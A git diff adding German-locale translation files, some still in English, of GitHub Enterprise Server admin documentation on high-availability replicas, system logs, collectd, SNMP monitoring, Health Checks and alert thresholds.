diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md
new file mode 100644
index 0000000000..8c7bf68f6d
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md
@@ -0,0 +1,52 @@
+---
+title: Hochverfügbarkeitsreplikat entfernen
+intro: 'Du kannst die Replikation in ein {% data variables.product.prodname_ghe_server %}-Replikat temporär stoppen oder die Replikation dauerhaft entfernen.'
+redirect_from:
+  - /enterprise/admin/installation/removing-a-high-availability-replica
+  - /enterprise/admin/enterprise-management/removing-a-high-availability-replica
+  - /admin/enterprise-management/removing-a-high-availability-replica
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - High availability
+  - Enterprise
+  - Infrastructure
+shortTitle: Remove a HA replica
+ms.openlocfilehash: 12fe196d38f93cb29bf49413ef9912028d662130
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104983'
+---
+## Temporäres Stoppen der Replikation
+
+1. Stoppe bei Bedarf, dass ein Replikat der Geo-Replikation den Benutzer-Traffic bedient, indem du die Geo DNS-Einträge für das Replikat entfernst.
+2. Führe auf dem Replikat, auf dem du die Replikation temporär stoppen möchtest, den Befehl „ghe-repl-stop“ aus.
+  ```shell
+  $ ghe-repl-stop
+  ```
+3. Führe `ghe-repl-start` aus, um die Replikation erneut zu starten.
+  ```shell
+  $ ghe-repl-start
+  ```
+
+## Dauerhaftes Entfernen der Replikation
+
+1. Stoppe bei Bedarf, dass ein Replikat der Geo-Replikation den Benutzer-Traffic bedient, indem du die Geo DNS-Einträge für das Replikat entfernst.
+2. Führe `ghe-repl-stop` auf dem Replikat die Replikation aus, aus der du die Replikation entfernen möchtest.
+  ```shell
+  $ ghe-repl-stop
+  ```
+3. Führe `ghe-repl-teardown` auf dem Replikat den Replikationszustand aus, um den Replikationszustand zu schließen.
+  ```shell
+  $ ghe-repl-teardown
+  ```
+
+  {% ifversion ghes %} {% note %}
+  
+  **Hinweis:** Wenn du {% data variables.product.prodname_actions %} aktiviert hast, solltest du den ehemaligen Replikationsserver ausschalten oder seine {% data variables.product.prodname_actions %} Konfiguration aktualisieren, um einen anderen externen Speicher zu verwenden. Weitere Informationen findest du unter "[Hohe Verfügbarkeit für {% data variables.product.prodname_actions %}](/admin/github-actions/high-availability-for-github-actions#high-availability-replicas)."
+  
+  {% endnote %} {% endif %}
diff --git a/translations/de-DE/content/admin/enterprise-management/index.md b/translations/de-DE/content/admin/enterprise-management/index.md
new file mode 100644
index 0000000000..ecfcf24ef8
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/index.md
@@ -0,0 +1,24 @@
+---
+title: 'Überwachen, Verwalten und Aktualisieren deines Unternehmens'
+intro: 'Du kannst deine Appliance überwachen, auf eine neuere Version aktualisieren und Clustering oder Hochverfügbarkeit konfigurieren.'
+redirect_from:
+  - /enterprise/admin/enterprise-management
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /monitoring-your-appliance
+  - /updating-the-virtual-machine-and-physical-resources
+  - /configuring-clustering
+  - /configuring-high-availability
+  - /caching-repositories
+shortTitle: 'Monitor, manage, and update your appliance'
+ms.openlocfilehash: 1d2a9dfb22d8243617ba5844df93e5bfcaf6d99d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882739'
+---
+
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md
new file mode 100644
index 0000000000..9a5307f35f
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md
@@ -0,0 +1,67 @@
+---
+title: Informationen zu Systemprotokollen
+intro: '{% data variables.product.product_name %} behält Fehler- und Meldungsprotokolle für Systemereignisse bei. Protokolle sind nützlich, um Aktionen und Ausnahmen auf Benutzer-, Anwendungs- und Systemebene zu identifizieren.'
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - Security
+ms.openlocfilehash: e41702e25c7cc222cefb4eedb4e0322adf3acdba
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063330'
+---
+## Systemprotokolle
+
+Standardmäßig werden Systemprotokolle für {% data variables.product.product_name %} automatisch alle 24 Stunden gedreht und für sieben Tage aufbewahrt. Systemprotokolle umfassen Systemereignisse, Anwendungsprotokolle und Git-Ereignisdaten. Da häufig in Protokolldateien geschrieben wird und diese sehr groß sein können, kann es von Vorteil sein, relevante Protokolleinträge auf einem von deiner {% data variables.product.prodname_ghe_server %}-Instanz separaten Host zu extrahieren und zu analysieren.
+
+Du kannst Systemprotokolle zur längeren Aufbewahrung an ein Drittanbietersystem oder einen Server weiterleiten. Weitere Informationen findest du unter [Protokollweiterleitung](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding).
+
+Zusätzlich zum Überprüfen deiner Systemprotokolle kannst du Aktivitäten in deinem Unternehmen auf andere Weise überwachen, z. B. mittels Anzeigen von Überwachungsprotokollen, Pushprotokollen und Verwalten globaler Webhooks. Weitere Informationen findest du unter [Überwachung von Aktivitäten in deinem Unternehmen](/admin/monitoring-activity-in-your-enterprise).
+
+## Protokolltypen
+
+Nachfolgend sind die Hauptprotokolle aufgeführt, die von der {% data variables.product.product_name %}-Appliance und ihren Funktionen verwendet werden:
+
+| Pfad | BESCHREIBUNG |
+|------|-------------|
+| `/var/log/github/audit.log` | Überwachte Benutzer-, Repository- und Systemereignisse.
+| `/var/log/github/unicorn.log` | API- und Webschnittstellen-Datenverkehr.
+| `/var/log/github/exceptions.log` | Fehler auf Anwendungsebene.
+| `/var/log/haproxy.log` | Gesamter IP-Datenverkehr, der die Appliance erreicht.
+| `/var/log/hookshot/resqued.log` | Webhookübermittlung und -fehler.
+| `/var/log/github/auth.log` | Authentifizierungsanforderungen, unabhängig von integrierten, LDAP-, CAS- oder SAML-Methoden.
+| `/var/log/github/gitauth.log` | Alle Git-Authentifizierungsanforderungen.
+
+Git-Aktivitäts- und Authentifizierungsanforderungen werden vom `babeld`-Dienst verarbeitet.
+
+Mehrere {% data variables.product.product_name %}-Dienste, z. B. der `babeld`-Dienst, werden containerisiert. Containerisierte Protokolle werden in das `systemd journal` geschrieben und können jederzeit mit dem `journalctl`-Befehl abgefragt werden.
+
+## Überwachte Systemereignisse
+
+Alle Einträge aus der `audit.log`-Datei verwenden das `github_audit`-Schlüsselwort und können damit gefiltert werden.
+
+Beispielsweise zeigt der folgende Eintrag, dass ein neues Repository erstellt wurde.
+
+```
+Oct 26 01:42:08 github-ent github_audit: {:created_at=>1351215728326, :actor_ip=>"10.0.0.51", :data=>{}, :user=>"some-user", :repo=>"some-user/some-repository", :actor=>"some-user", :actor_id=>2, :user_id=>2, :action=>"repo.create", :repo_id=>1, :from=>"repositories#create"}
+```
+
+Dieses Beispiel zeigt, dass Commits per Push-Vorgang an ein Repository übertragen wurden.
+
+```
+Oct 26 02:19:31 github-ent github_audit: { "pid":22860, "ppid":22859, "program":"receive-pack", "git_dir":"/data/repositories/some-user/some-repository.git", "hostname":"github-ent", "pusher":"some-user", "real_ip":"10.0.0.51", "user_agent":"git/1.7.10.4", "repo_id":1, "repo_name":"some-user/some-repository", "transaction_id":"b031b7dc7043c87323a75f7a92092ef1456e5fbaef995c68", "frontend_ppid":1, "repo_public":true, "user_name":"some-user", "user_login":"some-user", "frontend_pid":18238, "frontend":"github-ent", "user_email":"some-user@github.example.com", "user_id":2, "pgroup":"github-ent_22860", "status":"post_receive_hook", "features":" report-status side-band-64k", "received_objects":3, "receive_pack_size":243, "non_fast_forward":false, "current_ref":"refs/heads/main" }
+```
+
+## Support-Bundles
+
+Das Supportpaket enthält Systemprotokolle, und alle Überwachungsinformationen werden in der `audit.log`-Datei im `github-logs`-Verzeichnis protokolliert. Weitere Informationen findest du unter [Bereitstellen von Daten für den {% data variables.product.prodname_dotcom %}-Support](/support/contacting-github-support/providing-data-to-github-support).
+
+## Weiterführende Themen
+
+- [Linux-Manpage für den `journalctl`-Befehl](http://man7.org/linux/man-pages/man1/journalctl.1.html)
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md
new file mode 100644
index 0000000000..c2f149719e
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md
@@ -0,0 +1,42 @@
+---
+title: Accessing the monitor dashboard
+intro: '{% data variables.product.prodname_ghe_server %} includes a web-based monitoring dashboard that displays historical data about your {% data variables.product.prodname_ghe_server %} appliance, such as CPU and storage usage, application and authentication response times, and general system health.'
+redirect_from:
+  - /enterprise/admin/installation/accessing-the-monitor-dashboard
+  - /enterprise/admin/enterprise-management/accessing-the-monitor-dashboard
+  - /admin/enterprise-management/accessing-the-monitor-dashboard
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Monitoring
+  - Performance
+shortTitle: Access the monitor dashboard
+---
+## Accessing the monitor dashboard
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+2. At the top of the page, click **Monitor**.
+![The Monitor Dashboard link](/assets/images/enterprise/management-console/monitor-dash-link.png)
+
+## Troubleshooting common resource allocation problems on your appliance
+
+{% note %}
+
+**Note**: Because regularly polling {% data variables.location.product_location %} with continuous integration (CI) or build servers can effectively cause a denial of service attack that results in problems, we recommend using webhooks to push updates. For more information, see "[About webhooks](/enterprise/user/articles/about-webhooks/)".
+
+{% endnote %}
+
+Use the monitor dashboard to stay informed on your appliance's resource health and make decisions on how to fix high usage issues.  
+
+| Problem | Possible cause(s) | Recommendations |
+| -------- | ----------------- | --------------- |
+| High CPU usage | VM contention from other services or programs running on the same host | If possible, reconfigure other services or programs to use fewer CPU resources. To increase total CPU resources for the VM, see "[Increasing CPU or memory resources](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)." |
+| High memory usage | VM contention from other services or programs running on the same host | If possible, reconfigure other services or programs to use less memory. To increase the total memory available on the VM, see "[Increasing CPU or memory resources](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)." |
+| Low disk space availability | Large binaries or log files consuming disk space | If possible, host large binaries on a separate server, and compress or archive log files. If necessary, increase disk space on the VM by following the steps for your platform in "[Increasing storage capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)." |
+| Higher than usual response times | Often caused by one of the above issues | Identify and fix the underlying issues. If response times remain high, contact {% data variables.contact.contact_ent_support %}. |
+| Elevated error rates | Software issues  | Contact {% data variables.contact.contact_ent_support %} and include your support bundle. For more information, see "[Providing data to {% data variables.product.prodname_enterprise %} Support](/enterprise/{{ currentVersion}}/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." |
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
new file mode 100644
index 0000000000..0c216af47e
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
@@ -0,0 +1,65 @@
+---
+title: Configuring collectd
+intro: '{% data variables.product.prodname_enterprise %} can gather data with `collectd` and send it to an external `collectd` server. Among other metrics, we gather a standard set of data such as CPU utilization, memory and disk consumption, network interface traffic and errors, and the VM''s overall load.'
+redirect_from:
+  - /enterprise/admin/installation/configuring-collectd
+  - /enterprise/admin/articles/configuring-collectd
+  - /enterprise/admin/enterprise-management/configuring-collectd
+  - /admin/enterprise-management/configuring-collectd
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Monitoring
+  - Performance
+---
+## Set up an external `collectd` server
+
+If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.location.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher.
+
+1. Log into your `collectd` server.
+2. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf`
+
+An example *collectd.conf* to run a `collectd` server:
+
+    LoadPlugin network
+    ...
+    ...
+    <Plugin network>
+        Listen "0.0.0.0" "25826"
+    </Plugin>
+
+## Enable collectd forwarding on {% data variables.product.prodname_enterprise %}
+
+By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding:
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+1. Below the log forwarding settings, select **Enable collectd forwarding**.
+1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics.
+1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826)
+1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.)
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Exporting collectd data with `ghe-export-graphs`
+
+The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (`.tgz`).
+
+Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting.
+
+### Usage
+
+```shell
+ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz .
+```
+
+## Troubleshooting
+
+### Central collectd server receives no data
+
+{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.location.product_location %}.
+
+For help with further questions or issues, contact {% data variables.contact.contact_ent_support %}.
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md
new file mode 100644
index 0000000000..436c8127ba
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md
@@ -0,0 +1,58 @@
+---
+title: Generating a Health Check for your enterprise
+intro: 'You can gain insight into the general health and Git and API requests of {% data variables.location.product_location %} by generating a Health Check.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Monitoring
+  - Performance
+product: '{% data reusables.gated-features.generated-health-checks %}'
+---
+
+{% note %}
+
+**Note:** Generating a Health Check is currently in beta for {% data variables.product.prodname_ghe_server %} and subject to change.
+
+{% endnote %}
+
+## About generated Health Checks
+
+You can create a support bundle for {% data variables.location.product_location %} that contains a lot of data, such as diagnostics and log files. To help analyze and interpret this data, you can generate a Health Check. For more information about support bundles, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)."
+
+A Health Check provides the following information about {% data variables.location.product_location %}.
+- Insights into the general health of {% data variables.location.product_location %}, such as upgrade status, storage, and license seat consumption
+- A security section, which focuses on subdomain isolation and user authentication
+- Analysis of Git requests, with details about the busiest repositories and Git users 
+- Analysis of API requests, including the busiest times, most frequently requested endpoints, and most active callers
+
+If you want to generate a Health Check for {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.github_support %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)."
+
+## Generating a Health Check
+
+Before you can generate a Health Check, you must create a support bundle. For more information, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)."
+
+1. Navigate to the [{% data variables.contact.support_portal %}](https://support.github.com/).
+2. In the upper-right corner of the page, click **Premium**.
+
+   ![Screenshot of the "Premium" link in the GitHub Support Portal header.](/assets/images/enterprise/support/support-portal-header-premium.png)
+   
+3. To the right of **Health Checks**, click **Request Health Check**.
+
+   ![Screenshot of the "Request Health Check" button.](/assets/images/enterprise/support/support-portal-request-health-check.png)
+   
+4. Under "Select an enterprise account", select the dropdown menu and click an enterprise account.
+
+   ![Screenshot of the "enterprise account" dropdown menu.](/assets/images/enterprise/support/health-check-dialog-ea.png)
+   
+5. Under "Upload a support bundle", click **Chose File** and choose a file to upload. Then, click **Request Health Check**.
+
+   ![Screenshot of the "Choose file" and "Request Health Check" buttons.](/assets/images/enterprise/support/health-check-dialog-choose-file.png)
+   
+
+After you request a Health Check, a job is scheduled to generate the Health Check. After several hours to one day, the generated Health Check will appear in the "Health Checks" section of the {% data variables.contact.support_portal %}.
+
+![Screenshot of the Health Checks section of the {% data variables.contact.support_portal %}.](/assets/images/enterprise/support/support-portal-health-checks-section.png)
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/index.md
new file mode 100644
index 0000000000..fb441b33e9
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/index.md
@@ -0,0 +1,22 @@
+---
+title: Monitoring your appliance
+intro: 'As use of {% data variables.location.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.'
+redirect_from:
+  - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting
+  - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance
+  - /enterprise/admin/installation/monitoring-your-github-enterprise-server-appliance
+  - /enterprise/admin/enterprise-management/monitoring-your-appliance
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /accessing-the-monitor-dashboard
+  - /recommended-alert-thresholds
+  - /setting-up-external-monitoring
+  - /configuring-collectd
+  - /monitoring-using-snmp
+  - /about-system-logs
+  - /generating-a-health-check-for-your-enterprise
+---
+
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
new file mode 100644
index 0000000000..9c3f478189
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
@@ -0,0 +1,121 @@
+---
+title: Monitoring using SNMP
+intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.'
+redirect_from:
+  - /enterprise/admin/installation/monitoring-using-snmp
+  - /enterprise/admin/articles/monitoring-using-snmp
+  - /enterprise/admin/enterprise-management/monitoring-using-snmp
+  - /admin/enterprise-management/monitoring-using-snmp
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Infrastructure
+  - Monitoring
+  - Performance
+---
+SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.location.product_location %} and know when to add more memory, storage, or processor power to the host machine.
+
+{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](https://www.monitoring-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system.
+
+## Configuring SNMP v2c
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.access-monitoring %}
+{% data reusables.enterprise_management_console.enable-snmp %}
+4. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`.
+![Field to add the community string](/assets/images/enterprise/management-console/community-string.png)
+{% data reusables.enterprise_management_console.save-settings %}
+5. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network:
+  ```shell
+  # community-string is your community string
+  # hostname is the IP or domain of your Enterprise instance
+  $ snmpget -v 2c -c COMMUNITY-STRING -O e HOSTNAME hrSystemDate.0
+  ```
+
+This should return the system time on {% data variables.location.product_location %} host.
+
+## User-based security
+
+If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level:
+- `noAuthNoPriv`: This security level provides no authentication and no privacy.
+- `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA.
+- `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES.
+
+## Configuring users for SNMP v3
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.access-monitoring %}
+{% data reusables.enterprise_management_console.enable-snmp %}
+4. Select **SNMP v3**.
+![Button to enable SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png)
+5. In "Username", type the unique username of your SNMP v3 user.
+![Field to type the SNMP v3 username](/assets/images/enterprise/management-console/snmpv3-username.png)
+6. In the **Security Level** dropdown menu, click the security level for your SNMP v3 user.
+![Dropdown menu for the SNMP v3 user's security level](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
+7. For SNMP v3 users with the `authnopriv` security level:
+  ![Settings for the authnopriv security level](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
+    - {% data reusables.enterprise_management_console.authentication-password %}
+    - {% data reusables.enterprise_management_console.authentication-protocol %}
+8. For SNMP v3 users with the `authpriv` security level:
+  ![Settings for the authpriv security level](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
+    - {% data reusables.enterprise_management_console.authentication-password %}
+    - {% data reusables.enterprise_management_console.authentication-protocol %}
+    - Optionally, in "Privacy password", type the privacy password.
+    - On the right side of "Privacy password", in the **Protocol** dropdown menu, click the privacy protocol method you want to use.
+9. Click **Add user**.
+![Button to add SNMP v3 user](/assets/images/enterprise/management-console/snmpv3-adduser.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+#### Querying SNMP data
+
+Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the "[OID reference documentation](https://oidref.com/1.3.6.1.2.1.25.4)." 
+
+With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network:
+
+```shell
+# community-string is your community string
+# hostname is the IP or domain of your Enterprise instance
+$ snmpwalk -v 2c -c COMMUNITY-STRING -O e HOSTNAME
+```
+
+Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB:
+
+| Name | OID | Description |
+| ---- | --- | ----------- |
+| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | The hosts notion of the local date and time of day. |
+| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. |
+| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. |
+| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. |
+| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. |
+| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit |
+
+For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network:
+```shell
+# username is the unique username of your SNMP v3 user
+# auth password is the authentication password
+# privacy password is the privacy password
+# hostname is the IP or domain of your Enterprise instance
+$ snmpget -v 3 -u USERNAME -l authPriv \
+  -A "AUTH PASSWORD" -a SHA \
+  -X "PRIVACY PASSWORD" -x AES \
+  -O e HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0
+```
+
+With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network:
+```shell
+# community-string is your community string
+# hostname is the IP or domain of your Enterprise instance
+snmpget -v 2c -c COMMUNITY-STRING HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0
+```
+
+{% tip %}
+
+**Note:** To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table.
+
+{% endtip %}
+
+For more information on OID mappings for common system attributes in SNMP, see "[Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)".
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
new file mode 100644
index 0000000000..48672a0695
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
@@ -0,0 +1,52 @@
+---
+title: Recommended alert thresholds
+intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.'
+redirect_from:
+  - /enterprise/admin/guides/installation/about-recommended-alert-thresholds
+  - /enterprise/admin/installation/about-recommended-alert-thresholds
+  - /enterprise/admin/installation/recommended-alert-thresholds
+  - /enterprise/admin/enterprise-management/recommended-alert-thresholds
+  - /admin/enterprise-management/recommended-alert-thresholds
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Enterprise
+  - Infrastructure
+  - Monitoring
+  - Performance
+  - Storage
+shortTitle: Recommended alert thresholds
+---
+## Monitoring storage
+
+We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low.
+
+| Severity | Threshold |
+| -------- | --------- |
+| **Warning** | Disk use exceeds 70% of total available |
+| **Critical** | Disk use exceeds 85% of total available |
+
+You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage.
+
+## Monitoring CPU and load average usage
+
+Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. We recommend monitoring the fifteen-minute system load average for values nearing or exceeding the number of CPU cores allocated to the virtual machine.
+
+| Severity | Threshold |
+| -------- | --------- |
+| **Warning** | Fifteen minute load average exceeds 1x CPU cores |
+| **Critical** | Fifteen minute load average exceeds 2x CPU cores |
+
+We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources.
+
+## Monitoring memory usage
+
+The amount of physical memory allocated to {% data variables.location.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the normal RSS working set fit within 50% of total available RAM at peak usage.
+
+| Severity | Threshold |
+| -------- | --------- |
+| **Warning**  | Sustained RSS usage exceeds 50% of total available memory |
+| **Critical** | Sustained RSS usage exceeds 70% of total available memory |
+
+If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations.
diff --git a/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md
new file mode 100644
index 0000000000..17d3f89fae
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md
@@ -0,0 +1,32 @@
+---
+title: Externe Überwachung festlegen
+intro: 'Mit den Statistikerfassungsprotokollen SNMP oder collectd kannst du grundlegende Systemressourcen auf deiner {% data variables.product.prodname_ghe_server %}-Appliance überwachen.'
+redirect_from:
+  - /enterprise/admin/installation/setting-up-external-monitoring
+  - /enterprise/admin/enterprise-management/setting-up-external-monitoring
+  - /admin/enterprise-management/setting-up-external-monitoring
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Infrastructure
+  - Monitoring
+  - Performance
+shortTitle: Set up external monitoring
+ms.openlocfilehash: 43fa6a7b0d6d4686a69460f23f38126ec5457613
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146332472'
+---
+## Informationen zu SNMP
+
